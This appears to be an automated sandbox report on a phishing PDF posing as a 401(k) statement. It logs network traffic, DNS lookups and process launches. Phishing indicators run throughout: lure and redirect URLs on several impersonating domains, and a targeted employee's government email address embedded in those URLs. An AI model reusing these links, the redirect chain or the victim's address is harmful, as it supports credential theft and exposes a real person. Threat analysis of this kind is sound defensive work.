Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://office.docmanagementsystem.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://office.docmanagementsystem.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://office.docmanagementsystem.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 782137365-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 782137365-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 782137365.federalhostingservices.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office.docmanagementsystem.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 782137365.federalhostingservices.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /vvinx/fpmQd19KeH/scotiana.bennett%40ferc.gov HTTP/1.1Host: r56eqpki1r3pdt55n3rm.wearedhaka.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: r56eqpki1r3pdt55n3rm.wearedhaka.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/vvinx/fpmQd19KeH/scotiana.bennett%40ferc.govAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6l7q9/?e=scotiana.bennett@ferc.gov HTTP/1.1Host: office.docmanagementsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: 876rfyguyt7ygty.401kstatementmorganstanley.workers.dev
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: r56eqpki1r3pdt55n3rm.wearedhaka.com
Source: global traffic	DNS traffic detected: DNS query: office.docmanagementsystem.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 782137365-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 782137365.federalhostingservices.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/428841705:1738257258:NQS5JLtvOTvofmNpGGjWYSAkW1IksDo4h5s1tOmpDd0/90a37f855bab32ca/gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFH HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3555sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: text/plain;charset=UTF-8cf-chl: gYSngyglqKnIoNO6flATrUA1pCbkbvNWQHtXIG1Zff8-1738261458-1.1.1.1-EyRArk2xBpPRpD9MzfbrwvfbpDZ1kTGSgsVqJoSRjtlfdHufXEcEes1WkwDn1SFHcf-chl-ra: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 30 Jan 2025 18:24:21 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LES3xvShKd8U0Rs0YqkmTScjIUUXo%2FIevL6XXmOFSGgYsHmJvDfiSUZKvvH9tzIaJVxaCHjnk4dmgY8TOFNTblCpN2sw1ny09gmUIovOT4IQQ2imUYVvRCwLfn7J0HJN2Cwj9sgvOoIRnYzLtokI5vw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 90a37f922c628c0f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1972&rtt_var=751&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2862&recv_bytes=1274&delivery_rate=1446977&cwnd=229&unsent_bytes=0&cid=322424a974013e00&ts=352&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 30 Jan 2025 18:24:14 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_212.5.dr, chromecache_217.5.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_216.5.dr, chromecache_213.5.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_203.5.dr, chromecache_198.5.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_203.5.dr, chromecache_216.5.dr, chromecache_213.5.dr, chromecache_198.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_203.5.dr, chromecache_216.5.dr, chromecache_213.5.dr, chromecache_198.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: classification engine

Classification label: mal60.phis.winPDF@32/93@55/21

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-30 13-24-08-142.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ferc Q1 2025 401(k) Statement-5997707969.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1676,i,11162465224118041367,2337748532442546483,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2028,i,4291712580894038494,18141104973775951258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
